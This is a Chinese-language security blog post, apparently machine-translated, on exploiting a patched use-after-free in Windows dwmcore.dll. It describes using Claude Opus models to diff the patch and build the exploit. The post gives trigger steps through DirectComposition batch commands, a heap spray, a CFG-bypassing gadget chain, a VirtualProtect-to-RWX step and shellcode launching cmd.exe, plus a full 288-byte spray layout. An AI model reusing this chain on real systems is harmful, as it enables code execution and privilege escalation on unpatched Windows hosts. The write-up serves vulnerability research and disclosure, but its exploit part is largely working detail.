Intro
长期以来,补丁差异一直让我着迷。我认为部分原因与争分夺秒、逆转、利用和试图达到 "1 天 "利用状态有关。对于高级 Windows 目标,Valentina Palmiotti 和 Ruben Boonen 早在近 3 年前就证明了这一点。但是,他们是世界上最有才华的漏洞开发者。法学硕士能否提高我们普通人的能力?幸运的是,也许有点令人震惊的是,答案是肯定的。
狩猎
当 2026 1 月份的 "星期二补丁 "公告发布后,我就开始寻找其中一个已修补的漏洞,并(希望)能开发出一个可行的漏洞利用方法。目标清单上最重要的是已知在野外被利用的任何漏洞。一月份的补丁包括桌面窗口管理器(DWM)中的一个野外信息泄漏漏洞,这引起了我的注意。它还包含第二个 DWM 漏洞,可导致本地权限升级。一直以来,DWM 都是本地权限升级的热门目标。有时很难确定具体的修补组件,但对于 DWM 而言,dwmcore.dll 始终是一个安全的选择。
在对文件进行 Ghidra 训练并提取每个函数的 BSim 向量后,就很容易突出它们之间的差异了。更不用说,许多微软已修补的漏洞还附带了新功能标志。不用说,Opus 4.5 很快就完成了差异分析,并在几分钟内识别出了其中一个漏洞。
======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll
======================================================================
----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
dwmcore_vuln.dll dwmcore_patched.dll Sim Jaccard
----------------------------------------------------------------------------------------------------
FUN_1802e7842 FUN_1802e7842 0.1191 0.0632
FUN_1802e92d6 FUN_1802e92d6 0.1470 0.0722
FUN_1802e5faa FUN_1802e5faa 0.1741 0.0769
~CDelegatedInkCanvas ~CDelegatedInkCanvas 0.7556 0.6047
GetBufferedOutputTransformed GetBufferedOutputTransformed 0.7628 0.6154
FrameStarted FrameStarted 0.7833 0.6429
~CSynchronousSuperWetInk ~CSynchronousSuperWetInk 0.8018 0.6667
FUN_1802f5aa2 FUN_1802f5aa2 0.9127 0.8393
FUN_1802f57d2 FUN_1802f5d72 0.9127 0.8393
======================================================================
从这里开始,我不得不说,建立功能性漏洞的时间比我希望的要慢得多。我花了很多个漫漫长夜和周末,不停地推敲模型。这在很大程度上归因于我对错误类和子系统的不熟悉。最终,我们取得了胜利,将 RCE 从低权限转入 DWM 和 SYSTEM。在此过程中,我发现了多种新颖的利用技术,如 GetRECT 喷雾、新的小工具链和 DWM 到 SYSTEM 路径。然而,有了这些技术(以及其他一些工具)和 Opus 4.6 等较新的模型版本,从发现 DWM 中的 UAF 漏洞到功能性利用的时间从 3 周缩短到几个小时。
虫子
该漏洞是CSynchronousSuperWetInk::~CSynchronousSuperWetInk.NET 中的 "使用后免费 "漏洞。根据IsSuperWetCompatible() 的返回值,析构函数有条件地将对象从CSuperWetInkManager 中删除。
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
this->vtable = &_vftable_;
bool bVar2 = IsSuperWetCompatible(this);
if (bVar2) {
CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
}
// ... cleanup continues
}
dwmcore.dll 10.0.26100.7309 版本中存在漏洞的析构函数。
IsSuperWetCompatible 条件
bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
this->clipEntry != NULL && this->comObject != NULL) {
return true;
}
return false;
}
dwmcore.dll 10.0.26100.7309 版本中的 IsSuperWetCompatible 条件。
只有当LookupMode 等于 2,或notifier1 已设置,且clipEntry 和comObject 都非空时,函数才会返回true 。
虫子
攻击者可以
- 向经理注册
CSynchronousSuperWetInk(需要在Draw()期间注册LookupMode=2) - 通过以下方式将
LookupMode更改为 0CMD_SET_PROPERTY - 通过以下方式触发销毁
CMD_RELEASE_RESOURCE IsSuperWetCompatible()返回 FALSE →跳过RemoveSource()- 在
CSuperWetInkManager::localStrokesVector
当 DWM 以后遍历该向量时(例如在DirtyActiveInk 中),它会取消引用被释放对象的 vtable,从而导致受控代码的执行。
解决方案
该补丁添加了一个功能标志 (Feature_1732988217)。启用后,无论IsSuperWetCompatible() 与否,都会无条件调用RemoveSource() 。这样可以确保对象在销毁时始终正确地从管理器中注销,从而消除悬空指针。
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
*(undefined ***)this = &_vftable_;
bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
if (!bVar2) {
bVar2 = IsSuperWetCompatible(this);
if (!bVar2) goto LAB_1802a9b1a; // Skip RemoveSource only if feature disabled AND !compatible
}
CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
// ... cleanup continues
}
dwmcore.dll 10.0.26100.7623 版本中的固定析构函数。
剥削
UAF 可通过DirectComposition API 从普通用户模式应用程序中触发。攻击不需要特殊权限。
准备工作
- D3D11/DXGI 基础架构:创建支持 BGRA 的 D3D11 设备,并为可见窗口创建交换链。
- DirectComposition 设备:通过
DCompositionCreateDevice()与 DXGI 设备进行初始化。 - NtDComposition 系统调用访问:通过
win32u.dll挂钩或直接调用NtDCompositionProcessChannelBatchBuffer和NtDCompositionCommitChannel,以注入原始批处理缓冲区命令。
触发顺序
步骤 1:创建墨迹跟踪(分配 CSynchronousSuperWetInk)
从 DirectComposition 设备查询IDCompositionInkTrailDevice ,然后调用CreateDelegatedInkTrailForSwapChain() 或CreateDelegatedInkTrail() 。这将在 dwm.exe 的堆中分配一个CSynchronousSuperWetInk 对象(资源类型0xa8 )。
步骤 2:创建可视化并设置 LookupMode=2
将批量缓冲命令注入到
- 用
CMD_CREATE_RESOURCE(0x02) 创建CSuperWetInkVisual(类型0xa5)。 - 将视觉效果连接到墨水源:
CMD_SET_REFERENCE(0x10) with propId0x34 - 通过
CMD_SET_PROPERTY(0x0B) 用 propId 在墨水源上设置LookupMode=210 - 连接到组合树:
CMD_SET_REFERENCE,使用 propId 连接到句柄 1 和 2 (组合目标 / 编组器)。0x34
LookupMode=2 可确保IsSuperWetCompatible() 在Draw() 时返回 "true",从而在CSuperWetInkManager::localStrokesVector 注册对象。
步骤 3:渲染帧并向管理器注册
呈现多个帧 (IDXGISwapChain::Present) 并提交 DirectComposition 更改。这会触发 DWM 的渲染循环,该循环会调用墨水基础架构,并将CSynchronousSuperWetInk 指针注册到管理器的内部向量中。
步骤 4:设置 LookupMode=0(绕过移除检查)
注入CMD_SET_PROPERTY ,将LookupMode 更改为0 。现在IsSuperWetCompatible() 将返回 FALSE,因为
if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)
在LookupMode = 0 且没有通知程序的情况下,第一个条件失败。
步骤 5:释放墨迹(创建悬垂指针)
- 断开视觉引用:
CMD_SET_REFERENCE,所有连接的 refHandle=0 - 释放
IDCompositionDelegatedInkTrail接口
当析构函数~CSynchronousSuperWetInk 运行时:
- 它调用
IsSuperWetCompatible(),返回FALSE(LookupMode=0)。 RemoveSource()被跳过- 对象被释放,但其指针仍保留在
CSuperWetInkManager::localStrokesVector
步骤 6:触发 DirtyActiveInk(免费使用后)
继续呈现框架并使窗口失效。DWM 的组合循环调用CSuperWetInkManager::DirtyActiveInk() ,该循环遍历localStrokesVector 并取消引用悬空指针:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
碰撞行为
如果没有堆喷淋,DWM 在访问释放的内存时就会崩溃:
# Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
如果释放的内存被其他对象(如CInteractionTrackerScaleAnimation )回收,崩溃就会发生在意外的 vtable 上:
kd> dps rcx
00000201`fbef65f0 00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24
通过控制哪些数据可以重新获得释放的分配,攻击者可以制作一个虚假的 vtable,并通过vtable+0x50 上的虚拟调用执行任意代码。
堆喷雾
要利用 UAF,我们必须用攻击者控制的包含假 vtable 的数据来回收释放的CSynchronousSuperWetInk 分配。本节记录了我们称为 GetRECT 的 CRegionGeometry RECT 缓冲区喷射技术。
目标对象属性
| 财产 | 值 |
|---|---|
| 对象 | CSynchronousSuperWetInk |
| 大小 | 0x120(288 字节) |
| 分配器 | DefaultHeap::AllocClear → GetProcessHeap() |
| LFH水桶 | 34(273-288 字节范围) |
| 每个分段的插槽数 | 57 |
喷涂原型:CRegionGeometry RECT 缓冲区
喷雾使用CRegionGeometry 资源(类型0x81 )和 RECT 阵列数据:
| 财产 | 值 |
|---|---|
| 资源类型 | 0x81 (CRegionGeometry) |
| 喷雾尺寸 | 18 个 RECT × 16 字节 =288 字节 |
| 分配器 | std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288) |
| LFH 水桶 | 34,与目标相同 |
| 内容控制 | 72 个 int32 值(18 个 RECTs × 4 字段) |
分配链:
dcomp.dll: SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase: CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
→ std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)
RECT 缓冲区通过CMD_SET_BUFFER_PROPERTY (0x0F) 和 propId5 写入:
struct CmdSetResourceBufferProperty {
uint32_t cmdId; // 0x0F
uint32_t handle; // Resource handle
uint32_t propId; // 5 for RECT array
uint32_t dataSize; // 288 for 18 RECTs
// Variable-length RECT data follows (4-byte aligned)
};
假物体的 RECT 布局
18 RECT(288 字节)可对回收的内存进行全面控制:
struct SprayRECT {
int32_t left; // +0x00 within RECT
int32_t top; // +0x04
int32_t right; // +0x08
int32_t bottom; // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields
// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)
将 64 位数值写入相邻 RECT 字段的助手:
static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
*lo = (int32_t)(val & 0xFFFFFFFF);
*hi = (int32_t)(val >> 32);
}
原始开发
UAF 为我们提供了一个受控 vtable 调用,RCX 指向我们的喷涂对象。DirtyActiveInk 遍历悬空指针时:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)(); // call [[spray]+0x50] with RCX = spray
调用站点堆栈:
00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c
调度时的注册状态:
RCX= 喷涂对象的指针(我们控制的 288 字节)RIP=[[spray]+0x50](来自假 vtable 的函数指针)
目标功能限制
最初,我们可以调用的内容有两个限制:
- 目标必须在 CFG 位图中(标记为有效调用目标)
- 目标必须有一个指向它的指针(在 IAT、vtable 或其他可读内存中)
我们不能直接调用任意地址,只能调用满足这两个条件的函数。
小工具链:__fnINSTRING + CStdAsyncStubBuffer2_Disconnect
有了 UAF 提供的受控 vtable 调用(RIP = [[spray]+0x50],RCX = spray ),剩下的挑战就是如何通过连锁 CFG 有效小工具来实现任意代码执行。直接执行 shellcode 会被 CFG 阻止,而且不会出现堆地址泄漏。我们开发了一种新颖的小工具链,解决了这两个问题,实现了代码执行,但它需要 2 成功的利用尝试,降低了可靠性。因此,我们转而使用已知的公共技术,使用两个 Windows 系统 DLL 小工具:__fnINSTRING (user32.dll)和CStdAsyncStubBuffer2_Disconnect (combase.dll)。
第 1 阶段:__fnINSTRING - 内核回调调度无泄漏
Windows 内核通过KernelCallbackTable (KCT)(一个存储在 PEB 中偏移量+0x58 处的函数指针表)与用户模式通信。每个入口都指向user32.dll 中的__fn* 处理程序。这些函数是 CFG 有效的调用目标,并且在可读内存(KCT 本身)中有指向它们的指针,因此满足了这两个约束条件。
我们将假 vtable 指向&KCT[fnINSTRING_index] - 0x50 。当 DirtyActiveInk 解除引用[[spray]+0x50] 时,它会读取 KCT 条目并发送到__fnINSTRING :
[[spray]+0x50]
= [KCT_entry_addr - 0x50 + 0x50]
= [KCT_entry_addr]
= &__fnINSTRING
__fnINSTRING 的内部工作才是最有用的。它将其参数(我们的喷雾缓冲区)视为_CAPTUREBUF 结构,并在分派内部函数之前调用FixupCallbackPointers 。FixupCallbackPointers 从缓冲区读取固定表,并通过添加缓冲区的基地址将相对偏移量转换为绝对地址:
// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
if (buf->guard != 0) return; // already fixed up - skip
int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
for (int i = 0; i < buf->fixupCount; i++) {
int32_t* target = (int32_t*)((char*)buf + fixups[i]);
*(uint64_t*)target += (uint64_t)buf; // relative → absolute
}
}
这样就不需要堆地址泄漏了。我们在喷涂缓冲区中嵌入相对偏移量,并在运行时使用缓冲区自身的地址FixupCallbackPointers 将其修补为绝对指针。修复后,__fnINSTRING 将+0x48 的内部函数指针与+0x28 (RCX)、+0x30 (EDX)、+0x38 (R8) 和+0x50 (R9) 的参数一起派发。
我们将内部函数设为CStdAsyncStubBuffer2_Disconnect 。
第 2 阶段: CStdAsyncStubBuffer2_Disconnect - 两个连锁 Vtable 调用
CStdAsyncStubBuffer2_Disconnect 从combase.dll 导出,使其具有稳定地址的 CFG 有效性。它的反汇编揭示了一个有用的基本原理:两个带保留参数寄存器的顺序 vtable 派发:
; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV RBX, RCX ; save this
MOV RCX, [RCX-8] ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ skip1
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x20] ; vtable[4]
CALL guard_dispatch_icall ; CALL #1: [[this-8]+0x20] ← VirtualProtect
skip1:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ skip2
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x10] ; vtable[2]
CALL guard_dispatch_icall ; CALL #2: [[[this+0x10]]+0x10] ← shellcode
skip2:
ADD RSP, 0x20
POP RBX
RET
RDX、R8 和R9 在这两次调用中都被保留,在__fnINSTRING 的参数设置中没有被改动。这样,我们就能完全控制两个 vtable 调用的前三个参数。
Vtable 调用 #1:VirtualProtect → RWX
我们在喷射缓冲区中的+0xC8 处构建了一个自引用假对象:[+0xC8] 指向自身(修复后),因此,取消引用[RCX] → [RCX+0x20] 会从+0xE8 读取VirtualProtect 的地址。参数(从__fnINSTRING 调度中保留)为
| 注册 | 值 | 用途 |
|---|---|---|
| RCX | base+0xC8 (fake_obj_1) | lpAddress(喷雾缓冲区的起始地址) |
| RDX | 0x1000 | dwSize |
| R8 | 0x40 | flNewProtect (PAGE_EXECUTE_READWRITE) |
| R9 | base+0xC0 | lpflOldProtect(喷雾缓冲器中的输出插槽) |
调用后,喷涂缓冲区的内存页被标记为 RWX,CFG 位图也会更新,以允许从该区域执行。
Vtable 调用 #2:内联 Shellcode
VirtualProtect 返回后,Disconnect 会将[this+0x10] 载入 RCX,进行第二次 vtable 调度:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ skip2 ; non-zero → take the call
MOV RAX, [RCX] ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV RAX, [RAX+0x10] ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall ; call base+0xD0
指针链一步一步地解决:
[this+0x10]=[base+0x90]=base+0xA0(fake_obj_2)[RCX]=[base+0xA0]=base+0xA8,fake_obj_2 的 vtable 指针(修复后)[RAX+0x10]=[base+0xB8]=base+0xD0,vtable_2 的第三个条目,指向我们的 shellcode
最后的CALL guard_dispatch_icall 将调度到base+0xD0 ,这是我们的内联 shell 代码,由于前面的 VirtualProtect 调用,它现在既可执行又符合 CFG 标准。
shellcode 布局
由于 VirtualProtect 地址数据位于+0xE8 (被调用 #1 用作vtable_1[0x20] ),在我们的可执行区域中间形成了一个缺口,因此 shellcode 被分成了两个阶段:
阶段 1 (+0xD0, 22 字节):将RCX (基数+0xA0)保存到RBX ,以便稍后进行地址运算,分配阴影空间,将SW_SHOW (5) 加载到RDX ,通过movabs RAX 加载WinExec 的绝对地址,然后跳过+0xE8 的 8 字节数据间隙:
mov rbx, rcx ; save base+0xA0 for address math
sub rsp, 0x28 ; shadow space
push 5
pop rdx ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp +0x0A ; skip over +0xE8 data → land at +0xF0
阶段 2 (+0xF0):使用RIP 相关指针调用WinExec ,该指针指向嵌入在 shellcode 末尾的"cmd.exe\0" 字符串,化解喷射以安全重入,然后执行堆栈修复以直接返回 DWM 的组成循环:
lea rcx, [rip+0x22] ; rcx = &"cmd.exe"
call rax ; WinExec("cmd.exe", SW_SHOW)
; Defuse: rewrite fake vtable so re-entry is harmless
lea rax, [rbx+0x78] ; rax = address of the ret below
mov [rbx-0x48], rax ; [base+0x58] = ret_gadget
lea rax, [rbx-0x98] ; rax = base+0x08
mov [rbx-0xA0], rax ; [base+0x00] = base+0x08 (new fake vtable)
; Stack fixup: skip Disconnect + __fnINSTRING return frames
add rsp, 0xB8 ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor eax, eax ; zero return value
ret ; return directly to DWM composition loop
; "cmd.exe\0" embedded here
add rsp, 0xB8 提高了可靠性。天真的add rsp, 0x28 会返回CStdAsyncStubBuffer2_Disconnect ,然后返回__fnINSTRING ,再调用NtCallbackReturn 。在劫持调用的情况下,内核回调返回路径可能很脆弱。通过在堆栈调整中增加一个额外的0x90 ,shellcode 可以完全跳过两个中间帧,直接返回到DirtyActiveInk 的 DWM 合成循环中的调用者。
安全重返:化解喷雾
DWM 的DirtyActiveInk 可能会对悬空指针进行多次迭代。如果不拆除,每次重返都会重新触发整个链条并坠毁。shellcode 会重写 spray 的 vtable 指针,以便随后的取消引用采取无害路径:
[base+0x00]被覆盖到base+0x08(新的假 vtable)[base+0x58]被覆盖到ret指令的地址上
关于重返:[[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret.vtable 调用立即返回。__fnINSTRING 不再被重新调用,因为 vtable 不再指向 KCT 条目。
完整的喷涂布局
FixupCallbackPointers 后的全部 288 字节喷雾缓冲区(18 个 RECT):
| 偏移 | 大小 | 内容 | 用途 |
|---|---|---|---|
| +0x00 | 8 | KCT_entry - 0x50 | 假 vtable → __fnINSTRING |
| +0x08 | 4 | 8 | 修复次数 |
| +0x18 | 4 | 0x58 | 修复表偏移量 |
| +0x20 | 8 | 基地 | 警卫(阻止重新修复) |
| +0x28 | 8 | base+0x80 (fixup'd) | RCX → 断开 this |
| +0x30 | 4 | 0x1000 | EDX → 虚拟保护 dwSize |
| +0x38 | 8 | 0x40 | r8 → page_execute_readwrite |
| +0x48 | 8 | &断开 | 内部函数指针 |
| +0x50 | 8 | base+0xC0 (fixup'd) | R9 → lpflOldProtect |
| +0x58 | 32 | 定额表(8 个条目) | 修补偏移 |
| +0x78 | 8 | base+0xC8 (fixup'd) | [this-8] → fake_obj_1 |
| +0x80 | 8 | (未使用) | 断开this 底座 |
| +0x90 | 8 | base+0xA0 (fixup'd) | [this+0x10] → fake_obj_2 |
| +0xA0 | 8 | base+0xA8 (fixup'd) | fake_obj_2 vtable |
| +0xB8 | 8 | base+0xD0 (fixup'd) | vtable_2[0x10] → shellcode |
| +0xC0 | 4 | (输出) | 虚拟保护 lpflOldProtect |
| +0xC8 | 8 | base+0xC8 (fixup'd) | 自参照 vtable (fake_obj_1) |
| +0xD0 | 22 | 贝壳码第 1 阶段 | 保存注册表,加载 WinExec,jmp |
| +0xE8 | 8 | &虚拟保护 | vtable_1[0x20] 数据 |
| +0xF0 | 48 | 贝壳码第二阶段 | WinExec + defuse + stack fixup +"cmd.exe\0" |
全链概要
DirtyActiveInk iterates dangling pointer
→ [[spray+0x00]+0x50] = __fnINSTRING(spray)
→ FixupCallbackPointers: 8 relative offsets → absolute
→ Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
→ Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
→ Spray buffer page is now RWX, CFG bitmap updated
→ Vtable call #2: shellcode at base+0xD0
→ WinExec("cmd.exe", SW_SHOW)
→ Defuse: rewrite vtable for safe re-entry
→ Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
→ RET directly to DWM composition loop
→ DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return
DWM 进程以具有系统完整性的 DWM 用户身份运行。之前 公开的 实现 SYSTEM 的 技术 通常涉及劫持映射到特权客户端进程(如 LogonUI 或 Consent)中的函数指针。不过,这种技术最近似乎打了补丁,因为共享部分现在是只读映射。我们为 SYSTEM 开发了一种新的替代途径,但目前选择暂不公布该技术。
结束语
今天,我们所拥有的模型能够胜任历史上需要多年积累的深厚专业知识才能完成的任务。这包括逆向工程、漏洞发现和漏洞利用开发等。他们的能力很弱,在这些领域还无法与世界顶尖水平相媲美。然而,模型进步的脚步目前似乎还没有放缓的迹象。这为防御者提供了公平的竞争环境,但也提高了攻击者的能力。虽然对抗性的 "猫捉老鼠 "游戏一直存在,在这方面也不是什么新鲜事,但攻击者至少在短期内具有不对称优势,可以利用这些工具造成伤害。攻击者可以更快地行动,而无需担心人工智能系统的安全或安保问题。防御者必须利用人工智能对其代码(漏洞)、安全产品(检测差距)和企业(对手模拟)进行攻击,以在攻击者之前找到弱点并迭代改进防御。不幸的是,近期首当其冲的可能是那些没有安全团队的小型组织。我的希望是,从长远来看,安全界能够在攻防研究方面共同超越攻击者,让我们以比开始时更好的状态走出这个时代。
